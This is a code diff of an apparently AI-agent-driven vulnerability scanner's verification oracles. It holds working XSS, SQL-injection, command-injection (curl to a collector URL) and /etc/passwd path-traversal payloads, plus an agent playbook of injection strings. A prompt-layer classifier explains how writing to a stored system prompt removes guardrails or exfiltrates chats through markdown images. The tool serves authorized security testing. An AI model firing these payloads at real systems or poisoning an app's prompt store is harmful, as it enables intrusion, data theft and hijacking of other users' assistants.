+ const timedFetch = (url2, init2, timeoutMs) => fetchWithTimeout(url2, init2, timeoutMs, context);
237
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
238
+ const victim = pickInjectableParam(parsed);
239
+ if (!victim)
240
+ return notVerifiable("no injectable parameter found in finding evidence");
241
+ const token = `osec_${randomUUID().replace(/-/g, "")}`;
242
+ const payload = `<script>alert('${token}')</script>`;
243
+ const { url, init } = buildProbeRequest(parsed, {
244
+ [victim.key]: payload
245
+ });
246
+ const probe = await timedFetch(url, init);
247
+ const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`&lt;script&gt;alert(&#39;${token}&#39;)&lt;/script&gt;`);
248
+ let playwright = null;
249
+ try {
250
+ playwright = await import("playwright");
251
+ } catch {
252
+ }
253
+ if (playwright) {
254
+ let browser = null;
255
+ try {
256
+ browser = await playwright.chromium.launch({ headless: true });
257
+ const page = await browser.newPage();
258
+ let dialogMessage = "";
259
+ page.on("dialog", async (dialog) => {
260
+ if (dialog.type() === "alert" && dialog.message() === token) {
261
+ dialogMessage = token;
262
+ }
263
+ await dialog.dismiss().catch(() => {
264
+ });
265
+ });
266
+ let replayed = false;
267
+ await page.route(context.fetch ? "**/*" : (candidate) => candidate.href === new URL(url).href, async (route) => {
268
+ const request = route.request();
269
+ const initial = !replayed && request.isNavigationRequest() && request.frame() === page.mainFrame();
270
+ if (initial)
271
+ replayed = true;
272
+ const replayInit = {
273
+ method: initial ? init.method : request.method(),
274
+ headers: initial ? init.headers : request.headers(),
275
+ body: initial ? init.body : request.postData(),
276
+ redirect: "manual"
277
+ };
278
+ if (context.fetch) {
279
+ try {
280
+ const response = await context.fetch(request.url(), replayInit);
281
+ const headers = Object.fromEntries(response.headers);
282
+ delete headers["content-encoding"];
283
+ delete headers["content-length"];
284
+ await route.fulfill({ status: response.status, headers, body: Buffer.from(await response.arrayBuffer()) });
285
+ } catch {
286
+ await route.abort();
287
+ }
288
+ } else if (initial) {
289
+ await route.continue({
290
+ method: init.method,
291
+ headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
292
+ ...typeof init.body === "string" ? { postData: init.body } : {}
293
+ });
294
+ } else {
295
+ await route.continue();
296
+ }
297
+ });
298
+ await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
299
+ await page.waitForTimeout(500);
300
+ await browser.close();
301
+ browser = null;
302
+ if (dialogMessage === token) {
303
+ return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
304
+ }
305
+ } catch (err) {
306
+ if (browser)
307
+ await browser.close().catch(() => {
308
+ });
309
+ return {
310
+ verified: false,
311
+ confidence: htmlReflected ? 0.4 : 0,
312
+ evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
313
+ inconclusive: true,
314
+ reason: `playwright navigation failed: ${err.message}`
315
+ };
316
+ }
317
+ }
318
+ if (htmlReflected) {
319
+ return {
320
+ verified: false,
321
+ confidence: 0.5,
322
+ evidence: `html_reflection: payload reflected unencoded in response body`,
323
+ reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
324
+ };
325
+ }
326
+ return notVerifiable("no xss reflection or alert captured");
327
+ }
328
+ async function withCollector(nonce, timeoutMs, work) {
329
+ const port = 8888 + Math.floor(Math.random() * 1e3);
330
+ let hit = false;
331
+ const server = createServer((req, res) => {
332
+ if ((req.url ?? "").includes(nonce))
333
+ hit = true;
334
+ res.writeHead(200);
335
+ res.end("ok");
336
+ });
337
+ await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
338
+ const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
339
+ const waitForHit = async () => {
340
+ const deadline = Date.now() + timeoutMs;
341
+ while (Date.now() < deadline) {
342
+ if (hit)
343
+ return true;
344
+ await new Promise((r) => setTimeout(r, 100));
345
+ }
346
+ return hit;
107
347
  };
348
+ try {
349
+ return await work(collectorUrl, waitForHit);
350
+ } finally {
351
+ await new Promise((resolve) => server.close(() => resolve()));
352
+ }
108
353
  }
109
- function parseSanitizerLog(text) {
110
- const trimmed = text.trim();
111
- if (!trimmed)
112
- return null;
113
- return parseAsan(trimmed) ?? parseUbsan(trimmed);
354
+ async function verifySsrf(finding, target, context = {}) {
355
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
356
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
357
+ const victim = pickInjectableParam(parsed);
358
+ if (!victim)
359
+ return notVerifiable("no injectable parameter found in finding evidence");
360
+ const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
361
+ return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
362
+ const { url, init } = buildProbeRequest(parsed, {
363
+ [victim.key]: collectorUrl
364
+ });
365
+ const probe = await timedFetch(url, init, 8e3);
366
+ if (!probe)
367
+ return notVerifiable("ssrf probe failed to send");
368
+ const hit = await waitForHit();
369
+ if (hit) {
370
+ return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
371
+ }
372
+ return {
373
+ verified: false,
374
+ confidence: 0,
375
+ evidence: "",
376
+ reason: `collector never received a request for nonce=${nonce}`
377
+ };
378
+ });
114
379
  }
115
- function renderSanitizerVerdict(verdict) {
116
- const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
117
- const sizes = [
118
- verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
119
- verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
120
- ].filter(Boolean).join(", ");
121
- return [
122
- `${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
123
- `category=${verdict.category}`,
124
- `primitive=${verdict.primitive}`,
125
- `source=${loc}`,
126
- sizes || null
127
- ].filter(Boolean).join("; ");
380
+ async function verifyRce(finding, target, context = {}) {
381
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
382
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
383
+ const victim = pickInjectableParam(parsed);
384
+ if (!victim)
385
+ return notVerifiable("no injectable parameter found in finding evidence");
386
+ const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
387
+ return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
388
+ const payloads = [
389
+ `${victim.value};curl ${collectorUrl}`,
390
+ `${victim.value}|curl ${collectorUrl}`,
391
+ `${victim.value}$(curl ${collectorUrl})`,
392
+ `${victim.value}\`curl ${collectorUrl}\``,
393
+ `${victim.value}&&curl ${collectorUrl}`
394
+ ];
395
+ for (const payload of payloads) {
396
+ const { url, init } = buildProbeRequest(parsed, {
397
+ [victim.key]: payload
398
+ });
399
+ await timedFetch(url, init, 8e3);
400
+ }
401
+ const hit = await waitForHit();
402
+ if (hit)
403
+ return verified(`collector hit: nonce=${nonce}`);
404
+ return {
405
+ verified: false,
406
+ confidence: 0,
407
+ evidence: "",
408
+ reason: `collector never received a request for nonce=${nonce}`
409
+ };
410
+ });
411
+ }
412
+ var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
413
+ async function verifyPathTraversal(finding, target, context = {}) {
414
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
415
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
416
+ const victim = pickInjectableParam(parsed);
417
+ if (!victim)
418
+ return notVerifiable("no injectable parameter found in finding evidence");
419
+ const payloads = [
420
+ "../../../../etc/passwd",
421
+ "..%2f..%2f..%2f..%2fetc%2fpasswd",
422
+ "..%252f..%252f..%252fetc%252fpasswd",
423
+ "../../../../etc/passwd%00",
424
+ "....//....//....//etc/passwd",
425
+ "/etc/passwd"
426
+ ];
427
+ for (const payload of payloads) {
428
+ const { url, init } = buildProbeRequest(parsed, {
429
+ [victim.key]: payload
430
+ });
431
+ const probe = await timedFetch(url, init);
432
+ if (!probe)
433
+ continue;
434
+ const m = probe.body.match(PASSWD_PATTERN);
435
+ if (m) {
436
+ return verified(`payload=${payload} response contained "${m[0]}"`);
437
+ }
438
+ }
439
+ return notVerifiable("no /etc/passwd signature in any traversal probe response");
440
+ }
441
+ async function verifyIdor(finding, target, context = {}) {
442
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
443
+ const boundary = await context.verifyAccessControl?.(finding, target);
444
+ if (boundary)
445
+ return boundary;
446
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
447
+ if (parsed.method !== "GET")
448
+ return notVerifiable("read-only IDOR oracle requires GET; use an explicitly opted-in state-observing workflow for mutations");
449
+ let idKey = null;
450
+ let idValue = 0;
451
+ for (const [k, v] of Object.entries(parsed.params)) {
452
+ if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
453
+ idKey = k;
454
+ idValue = parseInt(v, 10);
455
+ break;
456
+ }
457
+ }
458
+ if (!idKey) {
459
+ for (const [k, v] of Object.entries(parsed.params)) {
460
+ if (/^\d+$/.test(v)) {
461
+ idKey = k;
462
+ idValue = parseInt(v, 10);
463
+ break;
464
+ }
465
+ }
466
+ }
467
+ if (!idKey)
468
+ return notVerifiable("no numeric id-like parameter to mutate");
469
+ const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
470
+ if (!baseline)
471
+ return notVerifiable("baseline request failed");
472
+ const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
473
+ const hits = [];
474
+ for (const variant of variants) {
475
+ if (variant === String(idValue))
476
+ continue;
477
+ const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
478
+ if (!probe)
479
+ continue;
480
+ if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
481
+ hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
482
+ }
483
+ }
484
+ if (hits.length > 0) {
485
+ return {
486
+ verified: false,
487
+ confidence: 0.7,
488
+ inconclusive: true,
489
+ evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
490
+ reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
491
+ };
492
+ }
493
+ return notVerifiable("no distinct 200 response on id mutation");
494
+ }
495
+ async function verifyOracleByCategory(finding, target, context = {}) {
496
+ const category = finding.category;
497
+ switch (category) {
498
+ case "sql-injection":
499
+ return verifySqli(finding, target, context);
500
+ case "xss":
501
+ return verifyReflectedXss(finding, target, context);
502
+ case "ssrf":
503
+ return verifySsrf(finding, target, context);
504
+ case "command-injection":
505
+ case "code-injection":
506
+ return verifyRce(finding, target, context);
507
+ case "path-traversal":
508
+ return verifyPathTraversal(finding, target, context);
509
+ // Heuristic: "information-disclosure" findings referencing an id param
510
+ // look a lot like IDOR. We route them through the IDOR oracle as well.
511
+ case "information-disclosure":
512
+ return verifyIdor(finding, target, context);
513
+ default:
514
+ return {
515
+ verified: false,
516
+ confidence: 0,
517
+ evidence: "",
518
+ reason: `no oracle for category="${category}"`
519
+ };
520
+ }
128
521
  }
129
522
 
130
- // packages/core/dist/agent/playbooks.js
131
- var PLAYBOOKS = {
132
- sqli: `## SQLi Playbook
133
- - Test all input fields with: ' OR 1=1--, " OR ""=", 1; DROP TABLE--
134
- - Check for error-based: ' AND 1=CONVERT(int,@@version)--
135
- - For blind: write Python timing script (see script templates)
136
- - Enumerate: information_schema.tables, columns, then extract the minimum non-sensitive proof of unauthorized data access
137
- - Try UNION SELECT with increasing column count
138
- - Try different SQL dialects: MySQL (SLEEP), PostgreSQL (pg_sleep), SQLite (sqlite_version())
139
- - If WAF blocks quotes, try: 1 OR 1=1, numeric injection without quotes`,
140
- structural_sqli: `## Structural / JSON-Key SQLi Playbook (#774)
141
- The injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY \${key}, SELECT \${key}, dynamic WHERE \${key}=?) \u2014 NOT a parameterised value. Value-fuzzing scanners miss this; the key is what's injected.
142
- - Target keys that name columns: sort, sort_by, sortField, order, order_by, orderBy, column, field, group_by, columns[], filter[<key>].
143
- - Tell in errors: "Unknown column '...'", 'column "..." does not exist', "Invalid column name", "no such column" \u2014 the server used your KEY as an identifier.
523
+ // packages/core/dist/review/sanitizer-log.js
524
+ var ASAN_CATEGORY_BY_KIND = {
525
+ "heap-use-after-free": "use-after-free",
526
+ "stack-use-after-return": "use-after-free",
527
+ "stack-use-after-scope": "use-after-free",
528
+ "double-free": "double-free",
529
+ "attempting-double-free": "double-free",
530
+ "stack-buffer-overflow": "stack-buffer-overflow",
531
+ "heap-buffer-overflow": "heap-overflow",
532
+ "global-buffer-overflow": "heap-overflow"
533
+ };
534
+ function categoryForAsan(kind, primitive) {
535
+ if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
536
+ return "out-of-bounds-read";
537
+ }
538
+ if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
539
+ return "out-of-bounds-write";
540
+ }
541
+ return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
542
+ }
543
+ function categoryForUbsan(message) {
544
+ const lower = message.toLowerCase();
545
+ if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
546
+ return { kind: "signed-integer-overflow", category: "integer-overflow" };
547
+ }
548
+ if (lower.includes("shift exponent") || lower.includes("shift base")) {
549
+ return { kind: "shift-exponent", category: "integer-overflow" };
550
+ }
551
+ if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
552
+ return { kind: "float-cast-overflow", category: "integer-truncation" };
553
+ }
554
+ if (lower.includes("null pointer") || lower.includes("null-pointer")) {
555
+ return { kind: "null-pointer-use", category: "null-deref" };
556
+ }
557
+ return { kind: "undefined-behavior", category: "other" };
558
+ }
559
+ function parsePrimitive(text) {
560
+ const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
561
+ if (!access)
562
+ return { primitive: "unknown" };
563
+ return {
564
+ primitive: access[1].toLowerCase(),
565
+ accessSize: Number(access[2])
566
+ };
567
+ }
568
+ function parseFrames(text) {
569
+ const frames = [];
570
+ const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
571
+ let match;
572
+ while ((match = frameRegex.exec(text)) !== null) {
573
+ frames.push({
574
+ functionName: match[1],
575
+ file: match[2],
576
+ line: Number(match[3])
577
+ });
578
+ }
579
+ return frames;
580
+ }
581
+ function parseAsan(text) {
582
+ const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
583
+ if (!header?.[1])
584
+ return null;
585
+ const kind = header[1].toLowerCase();
586
+ const { primitive, accessSize } = parsePrimitive(text);
587
+ const frames = parseFrames(text);
588
+ let sourceFile = frames[0]?.file;
589
+ let sourceLine = frames[0]?.line;
590
+ const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
591
+ if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
592
+ sourceFile = summary[1];
593
+ sourceLine = Number(summary[2]);
594
+ }
595
+ const allocMatch = text.match(/\b(\d+)-byte region\b/i);
596
+ const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
597
+ return {
598
+ sanitizer: "asan",
599
+ kind,
600
+ category: categoryForAsan(kind, primitive),
601
+ primitive,
602
+ sourceFile,
603
+ sourceLine,
604
+ allocSize,
605
+ accessSize,
606
+ summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
607
+ frames
608
+ };
609
+ }
610
+ function parseUbsan(text) {
611
+ const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
612
+ if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
613
+ return null;
614
+ const details = runtime[4].trim();
615
+ const { kind, category } = categoryForUbsan(details);
616
+ return {
617
+ sanitizer: "ubsan",
618
+ kind,
619
+ category,
620
+ primitive: "unknown",
621
+ sourceFile: runtime[1],
622
+ sourceLine: Number(runtime[2]),
623
+ summary: details,
624
+ frames: []
625
+ };
626
+ }
627
+ function parseSanitizerLog(text) {
628
+ const trimmed = text.trim();
629
+ if (!trimmed)
630
+ return null;
631
+ return parseAsan(trimmed) ?? parseUbsan(trimmed);
632
+ }
633
+ function renderSanitizerVerdict(verdict) {
634
+ const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
635
+ const sizes = [
636
+ verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
637
+ verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
638
+ ].filter(Boolean).join(", ");
639
+ return [
640
+ `${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
641
+ `category=${verdict.category}`,
642
+ `primitive=${verdict.primitive}`,
643
+ `source=${loc}`,
644
+ sizes || null
645
+ ].filter(Boolean).join("; ");
646
+ }
647
+
648
+ // packages/core/dist/agent/playbooks.js
649
+ var PLAYBOOKS = {
650
+ sqli: `## SQLi Playbook
651
+ - Test all input fields with: ' OR 1=1--, " OR ""=", 1; DROP TABLE--
652
+ - Check for error-based: ' AND 1=CONVERT(int,@@version)--
653
+ - For blind: write Python timing script (see script templates)
654
+ - Enumerate: information_schema.tables, columns, then extract the minimum non-sensitive proof of unauthorized data access
655
+ - Try UNION SELECT with increasing column count
656
+ - Try different SQL dialects: MySQL (SLEEP), PostgreSQL (pg_sleep), SQLite (sqlite_version())
657
+ - If WAF blocks quotes, try: 1 OR 1=1, numeric injection without quotes`,
658
+ structural_sqli: `## Structural / JSON-Key SQLi Playbook (#774)
659
+ The injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY \${key}, SELECT \${key}, dynamic WHERE \${key}=?) \u2014 NOT a parameterised value. Value-fuzzing scanners miss this; the key is what's injected.
660
+ - Target keys that name columns: sort, sort_by, sortField, order, order_by, orderBy, column, field, group_by, columns[], filter[<key>].
661
+ - Tell in errors: "Unknown column '...'", 'column "..." does not exist', "Invalid column name", "no such column" \u2014 the server used your KEY as an identifier.
144
662
  - Run the blind error-iteration loop (load the structural-sqli skill for the full algorithm):
145
663
  1. Break: inject key with a trailing quote (name') \u2014 unbalances the statement, elicits a DB error that confirms the key reaches the parser.
146
664
  2. Fingerprint the dialect from the error (MySQL "error in your SQL syntax" / Postgres "unterminated quoted string" / MSSQL "Unclosed quotation mark" / Oracle ORA-NNNNN / SQLite "unrecognized token").
@@ -1376,593 +1894,150 @@ var INDICATORS = [
1376
1894
  /\brefcount\b/i,
1377
1895
  /\bgc[\s_-]?root\b/i,
1378
1896
  /gc\.collect\(/i,
1379
- /garbage collector/i,
1380
- /\.rs\b/,
1381
- /\bcargo\b/i,
1382
- /\bsegfault\b/i,
1383
- /sandbox escape/i
1384
- ]
1385
- }
1386
- ];
1387
- function detectPlaybooks(toolResultTexts) {
1388
- const combined = toolResultTexts.join("\n");
1389
- const scores = /* @__PURE__ */ new Map();
1390
- for (const indicator of INDICATORS) {
1391
- let matchCount = 0;
1392
- for (const pattern of indicator.patterns) {
1393
- if (pattern.test(combined)) {
1394
- matchCount++;
1395
- }
1396
- }
1397
- if (matchCount >= 2) {
1398
- scores.set(indicator.type, matchCount);
1399
- }
1400
- }
1401
- return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
1402
- }
1403
- function buildPlaybookInjection(types) {
1404
- const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
1405
- if (sections.length === 0)
1406
- return "";
1407
- return [
1408
- "## Dynamic Playbook Injection",
1409
- "",
1410
- "Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
1411
- "Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
1412
- "",
1413
- ...sections
1414
- ].join("\n");
1415
- }
1416
- var PROMPT_LAYER_IMPACT_RULES = [
1417
- {
1418
- impact: "guardrail_removal",
1419
- patterns: [
1420
- /\bguardrail/i,
1421
- /safety[_\s-]?settings?/i,
1422
- /\bmoderation\b/i,
1423
- /\bpolicy\b/i,
1424
- /\brefus/i,
1425
- /\bnever (?:reveal|disclose|share|answer)/i,
1426
- /you must (?:refuse|not)/i,
1427
- /content[_\s-]?filter/i
1428
- ]
1429
- },
1430
- {
1431
- impact: "output_channel_exfil",
1432
- patterns: [
1433
- /output[_\s-]?(?:channel|template|format)/i,
1434
- /webhook/i,
1435
- /\bcallback\b/i,
1436
- /markdown/i,
1437
- /!\[[^\]]*\]\(https?:\/\//,
1438
- /append .*(?:url|link|http)/i
1439
- ]
1440
- },
1441
- {
1442
- impact: "model_config_tamper",
1443
- patterns: [
1444
- /model[_\s-]?(?:config|name|id)/i,
1445
- /\btemperature\b/i,
1446
- /\btop[_\s-]?p\b/i,
1447
- /\bmax[_\s-]?tokens\b/i,
1448
- /tool[_\s-]?(?:config|choice|s)\b/i,
1449
- /function[_\s-]?(?:config|call)/i,
1450
- /assistant[_\s-]?config/i,
1451
- /agent[_\s-]?config/i
1452
- ]
1453
- },
1454
- {
1455
- impact: "prompt_poisoning",
1456
- patterns: [
1457
- /system[_\s-]?prompt/i,
1458
- /prompt[_\s-]?template/i,
1459
- /\bprompts?\b/i,
1460
- /\binstructions?\b/i,
1461
- /\bpersona\b/i,
1462
- /you are (?:a|an|now|the)/i
1463
- ]
1464
- }
1465
- ];
1466
- function looksLikePromptLayer(haystack) {
1467
- return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
1468
- }
1469
- function classifyPromptLayerImpact(asset) {
1470
- const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
1471
- const isPromptLayer = looksLikePromptLayer(haystack);
1472
- if (!isPromptLayer) {
1473
- return {
1474
- isPromptLayer: false,
1475
- impacts: [],
1476
- severity: "info",
1477
- narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
1478
- };
1479
- }
1480
- const impacts = [];
1481
- for (const rule of PROMPT_LAYER_IMPACT_RULES) {
1482
- if (rule.patterns.some((p) => p.test(haystack))) {
1483
- impacts.push(rule.impact);
1484
- }
1485
- }
1486
- if (!asset.writable) {
1487
- return {
1488
- isPromptLayer: true,
1489
- impacts: [],
1490
- severity: "low",
1491
- narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
1492
- };
1493
- }
1494
- const reRead = asset.reReadAtInference === true;
1495
- const severity = reRead ? "high" : "low";
1496
- const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
1497
- const narrative = [
1498
- `WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
1499
- reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
1500
- `Impact class(es): ${impacts.join(", ")}.`,
1501
- ...impactLabels.map((l) => `- ${l}`),
1502
- "Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
1503
- ].join("\n");
1504
- return { isPromptLayer: true, impacts, severity, narrative };
1505
- }
1506
- var IMPACT_NARRATIVE = {
1507
- prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
1508
- guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
1509
- output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
1510
- model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
1511
- };
1512
- function describeAsset(asset) {
1513
- const loc = [asset.table, asset.column].filter(Boolean).join(".");
1514
- return loc || "unnamed asset";
1515
- }
1516
-
1517
- // packages/core/dist/triage/oracle-runtime.js
1518
- import { randomUUID } from "node:crypto";
1519
- import { createServer } from "node:http";
1520
-
1521
- // packages/core/dist/triage/oracles.js
1522
- var DEFAULT_TIMEOUT_MS = 1e4;
1523
- function notVerifiable(reason) {
1524
- return { verified: false, confidence: 0, evidence: "", reason };
1525
- }
1526
- function verified(evidence, confidence = 1) {
1527
- return { verified: true, confidence, evidence, reason: "" };
1528
- }
1529
- function parseRequest(requestText, fallbackTarget) {
1530
- const parsed = {
1531
- method: "GET",
1532
- url: fallbackTarget,
1533
- headers: {},
1534
- body: "",
1535
- params: {}
1536
- };
1537
- const parseFallbackQuery = () => {
1538
- try {
1539
- const u = new URL(parsed.url);
1540
- u.searchParams.forEach((v, k) => {
1541
- parsed.params[k] = v;
1542
- });
1543
- } catch {
1544
- }
1545
- };
1546
- if (!requestText) {
1547
- parseFallbackQuery();
1548
- return parsed;
1549
- }
1550
- const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
1551
- if (curlUrl)
1552
- parsed.url = curlUrl[1].replace(/['"]$/, "");
1553
- const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
1554
- if (curlMethod)
1555
- parsed.method = curlMethod[1].toUpperCase();
1556
- const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
1557
- if (curlData)
1558
- parsed.body = curlData[1];
1559
- const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
1560
- if (startLine) {
1561
- parsed.method = startLine[1].toUpperCase();
1562
- const path = startLine[2];
1563
- const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
1564
- if (hostHeader) {
1565
- const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
1566
- parsed.url = `${scheme}://${hostHeader[1]}${path}`;
1567
- } else if (path.startsWith("/")) {
1568
- try {
1569
- const base = new URL(fallbackTarget);
1570
- parsed.url = `${base.origin}${path}`;
1571
- } catch {
1572
- parsed.url = path;
1573
- }
1574
- } else {
1575
- parsed.url = path;
1576
- }
1577
- const sep = requestText.indexOf("\n\n");
1578
- if (sep >= 0)
1579
- parsed.body = requestText.slice(sep + 2).trim();
1580
- }
1581
- try {
1582
- const u = new URL(parsed.url);
1583
- u.searchParams.forEach((v, k) => {
1584
- parsed.params[k] = v;
1585
- });
1586
- } catch {
1587
- }
1588
- if (parsed.body && parsed.body.includes("=") && !parsed.body.startsWith("{")) {
1589
- for (const pair of parsed.body.split("&")) {
1590
- const [k, v] = pair.split("=");
1591
- if (k)
1592
- parsed.params[decodeURIComponent(k)] = decodeURIComponent(v ?? "");
1593
- }
1594
- }
1595
- return parsed;
1596
- }
1597
- function buildProbeRequest(parsed, newParams) {
1598
- const merged = { ...parsed.params, ...newParams };
1599
- const method = parsed.method || "GET";
1600
- const init = { method, headers: parsed.headers };
1601
- if (method === "GET" || method === "DELETE") {
1602
- try {
1603
- const u = new URL(parsed.url);
1604
- Array.from(u.searchParams.keys()).forEach((k) => u.searchParams.delete(k));
1605
- for (const [k, v] of Object.entries(merged))
1606
- u.searchParams.set(k, v);
1607
- return { url: u.toString(), init };
1608
- } catch {
1609
- return { url: parsed.url, init };
1610
- }
1611
- }
1612
- init.body = new URLSearchParams(merged).toString();
1613
- init.headers = {
1614
- "content-type": "application/x-www-form-urlencoded",
1615
- ...parsed.headers
1616
- };
1617
- return { url: parsed.url, init };
1618
- }
1619
- async function timedFetch(url, init, timeoutMs = DEFAULT_TIMEOUT_MS) {
1620
- const controller = new AbortController();
1621
- const timer = setTimeout(() => controller.abort(), timeoutMs);
1622
- const start = Date.now();
1623
- try {
1624
- const res = await fetch(url, { ...init, signal: controller.signal });
1625
- const body = await res.text();
1626
- return { status: res.status, body, latencyMs: Date.now() - start };
1627
- } catch {
1628
- return null;
1629
- } finally {
1630
- clearTimeout(timer);
1631
- }
1632
- }
1633
- var SQL_ERROR_PATTERNS = [
1634
- // MySQL
1635
- /You have an error in your SQL syntax/i,
1636
- /\bmysql_fetch_/i,
1637
- /\bMySQLSyntaxErrorException\b/i,
1638
- /\bMariaDB\b.*?\bsyntax\b/i,
1639
- // PostgreSQL
1640
- /\bPG::SyntaxError\b/i,
1641
- /\bpq:\s+syntax error\b/i,
1642
- /\bpsql:.*?ERROR:/i,
1643
- /unterminated quoted string/i,
1644
- // SQLite
1645
- /\bSQLite3::/i,
1646
- /\bsqlite3\.OperationalError\b/i,
1647
- /near\s+".+?":\s*syntax error/i,
1648
- // MSSQL
1649
- /\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
1650
- /\bUnclosed quotation mark\b/i,
1651
- /\bOLE DB.*?SQL Server\b/i,
1652
- // Oracle
1653
- /\bORA-\d{4,5}\b/i,
1654
- /\bquoted string not properly terminated\b/i
1655
- ];
1656
- function detectSqlError(body) {
1657
- for (const re of SQL_ERROR_PATTERNS) {
1658
- const m = body.match(re);
1659
- if (m)
1660
- return m[0];
1661
- }
1662
- return null;
1663
- }
1664
- function pickInjectableParam(parsed) {
1665
- for (const [k, v] of Object.entries(parsed.params)) {
1666
- if (v && v.length > 0)
1667
- return { key: k, value: v };
1668
- }
1669
- const first = Object.keys(parsed.params)[0];
1670
- if (first)
1671
- return { key: first, value: parsed.params[first] ?? "" };
1672
- return null;
1673
- }
1674
- async function verifySqli(finding, target) {
1675
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1676
- const victim = pickInjectableParam(parsed);
1677
- if (!victim)
1678
